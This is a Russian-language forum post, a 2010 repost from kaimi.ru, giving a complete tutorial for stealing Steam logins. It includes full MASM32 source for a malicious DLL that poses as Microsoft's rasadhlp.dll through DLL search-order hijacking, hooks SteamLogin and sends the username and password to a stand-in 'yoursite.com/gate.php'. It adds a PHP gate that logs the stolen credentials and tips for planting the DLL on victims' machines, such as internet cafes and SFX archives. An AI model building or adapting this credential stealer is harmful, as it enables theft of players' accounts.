Регистрация Главная Сообщество
Сообщения за день Справка Регистрация
Навигация
Zhyk.org LIVE! Реклама на Zhyk.org Правила Форума Награды и достижения Доска "почета"

Ответ
 
Опции темы
Старый 20.11.2010, 13:32   #1
Подпольщик Warcraft 3
 Рыцарь-защитник
Аватар для cunt85
 
cunt85 троюродный дядя Чака Норрисаcunt85 троюродный дядя Чака Норрисаcunt85 троюродный дядя Чака Норрисаcunt85 троюродный дядя Чака Норрисаcunt85 троюродный дядя Чака Норрисаcunt85 троюродный дядя Чака Норрисаcunt85 троюродный дядя Чака Норрисаcunt85 троюродный дядя Чака Норрисаcunt85 троюродный дядя Чака Норрисаcunt85 троюродный дядя Чака Норрисаcunt85 троюродный дядя Чака Норриса
Регистрация: 19.12.2008
Сообщений: 626
Популярность: 8941
Золото Zhyk.Ru: 250
Сказал(а) спасибо: 558
Поблагодарили 562 раз(а) в 264 сообщениях
 
По умолчанию Тащим пароли от Steam

В связи с огромной популярностью сервиса [Ссылки могут видеть только зарегистрированные пользователи. ], решил написать простой пример осуществления перехвата вводимых данных при авторизации (логин и пароль) с дальнейшей отправкой на гейт.
Беглый поиск в интернете показал, что подобные примеры существуют, однако, зачастую громоздки, либо уже устарели.
Итак, для осуществления перехвата необходимо определить, куда передается управление при попытке авторизации в Стиме. Основой для взаимодействия с сервисом Steam является Steam.dll, которая экспортирует множество функций, в том числе и функцию SteamLogin, которая как раз и вызывается при попытке авторизации.
Таким образом необходимо реализовать «прослойку», которая будет выполняется перед вызовом этой функции и передавать введенные данные на наш гейт. Для начала нужно определить, возможно ли заставить Steam подгрузить нашу библиотеку без внесения изменения в оригинальные файлы.
Если запустить Steam и посмотреть, какие dll’ки и откуда пытается подгрузить исполняемый файл, то мы увидим примерно следующее (я смотрел с помощью FileMon, но уже давно существует более продвинутый [Ссылки могут видеть только зарегистрированные пользователи. ]):
[Ссылки могут видеть только зарегистрированные пользователи. ]
Как мы видим, подгружается множество библиотек, причем красным выделены неудачные попытки загрузки библиотек. При вызове LoadLibrary производится попытка найти некоторые системные библиотеки сначала в директории с исполняемым файлом, а уже потом в System32. Это позволяет сделать следующую вещь: выбрать какую-нибудь редкоиспользуемую системную библиотеку из тех, которые исполняемый файл сначала ищет в своей директории (например, rasadhlp.dll), создать свою библиотеку с таким же именем (которая будет сплайсить функцию SteamLogin) с пробросом экспортов в оригинальную библиотеку.

Условно это будет выглядеть следующим образом:
[Ссылки могут видеть только зарегистрированные пользователи. ]
При попытке вызова какой-либо экспортируемоей функции из нашей библиотеки, вызов будет перенаправлен в оригинальную библиотеку. И при загрузке наша библиотека запишет инструкцию вида jmp XXXXXXX в начало функции SteamLogin, что позволит предварительно отправить данные авторизации на гейт, а уже потом вернуться к выполнению оригинальной функции.
Код библиотеки на MASM32 приведен ниже:
PHP код:
.486
.model flatstdcall
option casemap 
:none
 
;Подключаем основные макросы и библиотеки
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
include \masm32\macros\windows.asm
 
uselib kernel32
masm32user32ws2_32
 
;Подключаем inc и lib файлынеобходимые для проброса экспортов в оригинальную dll
include rasodhlp.inc
includelib rasodhlp
.lib
 
;Прототип функции отправки
report proto 
:dword,:dword
 
JUMPNEAR STRUCT 1
opcd BYTE 
?
reladdr DWORD ?
JUMPNEAR ENDS 
Как создать файлы rasodhlp.lib и rasodhlp.inc, я поясню ниже. Смысл структуры JUMPNEAR описан в [Ссылки могут видеть только зарегистрированные пользователи. ]. Кстати, я не использовал полезные макросы из статьи про инжектор. Это связано с тем, что в данном случае осуществляется сплайсинг не winapi-функции, соответственно, у нее не такой пролог, как у большинства winapi, также требуется сохранять состояние регистров и флагов перед выполнением своих действий, да и нам не требуется осуществлять возврат в нашу функцию после вызова оригинальной SteamLogin.
Далее объявим необходимые переменные:
PHP код:
.data
;Адреспо которому будут отправляться отчеты
gate_path     db 
"/gate.php",0
host         db 
"yoursite.com",0
 
;Шаблон для GET-запроса
;Далее в коде вместо первого %s будет подставлена переменная gate_path,
;
вместо второго логинвместо третьего парольа вместо четвертого переменная host
request db 
"GET %s?var1=%s&var2=%s HTTP/1.0",0dh,0ah
        db 
"Host: %s",0dh,0ah
        db 
"Connection: Close",0dh,0ah,0dh,0ah,0
 
.data?
;
Переменная для хранения адреса оригинальной функции SteamLogin
steam_login dd 

Пролог можно посмотреть в любом дизассемблере, для функции SteamLogin он выглядит следующим образом:
[Ссылки могут видеть только зарегистрированные пользователи. ]
Реализуем процедуру, которая будет выполняться до вызова оригинальной функции:
PHP код:
.code
 
;void (*SteamLogin)(charUsercharPasswordint isSecureComputerTSteamErrorSteamErr);
;
Процедуракоторая будет выполняться перед SteamLogin
Steal
:
    ;
Пролог из оригинальной SteamLogin
    push ebp
    mov ebp
,esp
    push 
-1
    
;Сохраняем состояние регистров и флагов
    pushad
    pushfd
    
;При обращении к SteamLogin данные авторизации хранятся как в стекетак и в регистрах eax,ecx
    invoke report
,ecx,eax
    
;Восстанавливаем состояние регистров и флагов
    popfd
    popad
 
    
;Передаем управление в оригинальную процедуру SteamLogin
    push steam_login
    add dword ptr
[esp], 5
    retn 
Теперь процедуру отправки данных на гейт:
PHP код:
;Процедура отправки данных на сервер
report proc login
:dword,passw:dword
local buffer
[512] : byte
local sock 
dword
local wsa 
WSADATA
local saddr 
sockaddr_in
 
    
;Инициализируем winsock
    invoke WSAStartup
,101h,addr wsa
    
.if eax == NO_ERROR
        
;Создаем сокет
        invoke socket
,PF_INET,SOCK_STREAM,0
        
.if eax != SOCKET_ERROR
            mov sock
,eax
            
;Получаем ip хоста
            invoke gethostbyname
,offset host
            
.if eax != 0
                
;Помещаем в eax первый элемент h_addr_list из структры hostent
                mov eax
,[eax+12]
                
mov eax,[eax]
                
mov eax,[eax]
                ;
Заполняем структурунеобходимую для подключения
                mov saddr
.sin_addr,eax
                invoke htons
,80
                mov saddr
.sin_port,ax
                mov saddr
.sin_family,AF_INET
                
;Подключаем сокет
                invoke connect
,sock,addr saddr,sizeof saddr
                
.if eax != SOCKET_ERROR
                    
;Формируем запрос
                    invoke wsprintf
,addr buffer,offset request,offset gate_path,login,passw,offset host
                    
;Определяем длину запроса
                    invoke lstrlen
,addr buffer
                    
;Отправляем данные
                    invoke send
,sock,addr buffer,eax,0
                
.endif
            .endif
            ;
Закрываем сокет
            invoke closesocket
,sock
        
.endif
        ;
Выполняем очистку
        invoke WSACleanup
    
.endif
 
    
ret
report endp 
И, наконец, точку входа DLL:
PHP код:
LibMain proc instance:dword,reason:dword,reserved:dword
local pr 
dword
local hl 
dword
local path1
[512] : dword
local path2
[512] : dword
 
    
.if reason == DLL_PROCESS_ATTACH
        
;Получаем путь к System32
        invoke GetSystemDirectory
,addr path1,512
        
;Получаем путь к Steam.exe
        invoke GetAppPath
,addr path2
 
        invoke wsprintf
,addr path1,chr$("%s\%s"),addr path1,chr$("rasadhlp.dll")
        
invoke wsprintf,addr path2,chr$("%s\%s"),addr path2,chr$("rasodhlp.dll")
        ;
Копируем dll в директорию стима
        invoke CopyFile
,addr path1,addr path2,0
        
.if eax == 0
            ret
        
.endif
        ;
Загружать скопированную библиотеку в память необязательнот.кзагрузчик сам её
        
;загрузит при вызове GetProcAddress
 
        
;Помещаем в hl хендл dll стима
        mov hl
,FUNC(GetModuleHandle,chr$("Steam.dll"))
        ;
Помещаем в steam_login адрес процедуры SteamLogin из Steam.dll
        mov steam_login
,FUNC(GetProcAddress,hl,chr$("SteamLogin"))
 
        ;
Изменяем атрибуты защиты памяти
        invoke VirtualProtect
,steam_login,sizeof JUMPNEAR,PAGE_READWRITE,addr pr
        
;Помещаем в начало процедуры SteamLogin конструкцию вида jmp XXXXXXXX,
        ;
где XXXXXXXX адрес процедуры Steal
        mov eax
,steam_login
        assume eax
ptr JUMPNEAR
        mov 
[eax].opcd0e9h
        mov ecx
,offset Steal
        sub ecx
,steam_login
        sub ecx
,5
        mov 
[eax].reladdr,ecx
        assume eax
:nothing
 
        
;Восстанавливаем исходные атрибуты
        invoke VirtualProtect
,steam_login,sizeof JUMPNEAR,pr,addr pr
        
;Сообщаем об удачной загрузке dll'ки
        mov eax,1
 
    .endif
 
    ret
LibMain endp
 
end LibMain 
Также нужно создать файл rasadhlp.def, который будет содержать описание экспортов библиотеки:
Цитата:
LIBRARY rasadhlp
EXPORTS
AcsHlpAttemptConnection = rasodhlp.AcsHlpAttemptConnection
AcsHlpNbConnection = rasodhlp.AcsHlpNbConnection
AcsHlpNoteNewConnection = rasodhlp.AcsHlpNoteNewConnection
WSAttemptAutodialAddr = rasodhlp.WSAttemptAutodialAddr
WSAttemptAutodialName = rasodhlp.WSAttemptAutodialName
WSNoteSuccessfulHostentLookup = rasodhlp.WSNoteSuccessfulHostentLookup

и файлы rasodhlp.lib и rasodhlp.inc, которые необходимы для компиляции. Чтобы создать файл rasodhlp.inc, необходимо посмотреть в дизассемблере экспорты оригинальной библиотеки
[Ссылки могут видеть только зарегистрированные пользователи. ]
и определить количество аргументов, которые передаются в эти функции, чтобы составить прототипы.
Я ориентировался исключительно по инструкции retn (т.е. число после retn / 4 = количество аргументов):
[Ссылки могут видеть только зарегистрированные пользователи. ]
Вот что у меня получилось:
Цитата:
AcsHlpAttemptConnection PROTO :DWORD
AcsHlpNbConnection PROTO :DWORD
AcsHlpNoteNewConnection PROTO :DWORD,:DWORD
WSAttemptAutodialAddr PROTO :DWORD,:DWORD
WSAttemptAutodialName PROTO :DWORD
WSNoteSuccessfulHostentLookup PROTO :DWORD,:DWORD

Для создания lib-файла понадобится программа inc2l, которая обычно есть в комплекте MASM32. Для большей похожести на оригинал можно ещё создать .rc файл с информацией о версии dll’ки:
PHP код:
#define IDR_VERSION1 1
 
IDR_VERSION1 VERSIONINFO
FILEVERSION 5
,1,2600,5512
PRODUCTVERSION 5
,1,2600,5512
FILEOS 0x00000004
FILETYPE 0x00000000
BEGIN
  BLOCK 
"StringFileInfo"
  
BEGIN
    BLOCK 
"FFFF0000"
    
BEGIN
      VALUE 
"FileVersion""5.1.2600.5512\0"
      
VALUE "ProductVersion""5.1.2600.5512\0"
      
VALUE "CompanyName""Microsoft Corporation\0"
      
VALUE "FileDescription""Remote Access AutoDial Helper\0"
      
VALUE "InternalName""rasadhlp.dll\0"
      
VALUE "LegalCopyright""© Microsoft Corporation. All rights reserved.\0"
      
VALUE "OriginalFilename""rasadhlp.dll\0"
      
VALUE "ProductName""Microsoft® Windows® Operating System\0"
    
END
  END
  BLOCK 
"VarFileInfo"
  
BEGIN
    VALUE 
"Translation"0xFFFF0x0000
  END
END 
Теперь можно и скомпилировать все это дело. Пакет для компиляции можно взять из [Ссылки могут видеть только зарегистрированные пользователи. ]. После компиляции получим свою кастомную rasadhlp.dll, которую необходимо поместить в директорию с файлом Steam.exe. Сделать это можно разными способами, например, воспользоваться уязвимостью [Ссылки могут видеть только зарегистрированные пользователи. ] в каком-либо стороннем приложении, сделать sfx-архив, который будет пытаться скопировать библиотеку в возможные места расположения стима после распаковки или банально прийти в какое-нибудь интернет-кафе, куда имеют обыкновение ходить игроки в продукты Steam (в США таких мест довольно много).
И, напоследок, код гейта, на который будут приходить реквизиты доступа:
PHP код:
<?php
if(isset($_GET['var1']) && isset($_GET['var2']) && !empty($_GET['var1']) && !empty($_GET['var2']) && !is_array($_GET['var1']) && !is_array($_GET['var2']))
{
    
$string $_GET['var1'].':'.$_GET['var2']."\n";
    
$h = @fopen('log.txt''a');
    
flock($hLOCK_EX);
    
fwrite($h$string);
    
flock($hLOCK_UN);
    
fclose($h);
}
?>
Не забудьте создать файл log.txt, проставить на него права доступа 777 и закинуть в директорию файл .htaccess:
PHP код:
<Files log.txt>
  
order allow,deny
  deny from all
</Files
Тогда собранные данные не попадут в чужие руки.
Исходники одним архивом: [Ссылки могут видеть только зарегистрированные пользователи. ]
Все ссылки на сайт автора.
(с) kaimi.ru
________________
...
  Ответить с цитированием
6 пользователя(ей) сказали cпасибо:
Goder89 (20.03.2011), Jumper (06.02.2011), mar1k (11.02.2011), nud1e.cfg (19.06.2012), Rutio (31.01.2011), Skiffy (19.03.2011)
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Продам] Steam Аккаунты по низким ценам. От создателя Steam`O Brute forzaN Steam, Origin, Uplay и другие системы 3 21.02.2011 11:13
[Продам] Пароли Goshapw Perfect World 3 26.01.2011 16:02
[Продам] продажа читов на steam/no-steam neyklujiu Steam, Origin, Uplay и другие системы 0 24.09.2010 11:57
Мониторинги серверов No Steam и Steam Loreg Вопросы и ответы, обсуждения 0 27.08.2008 21:24

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 20:44.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net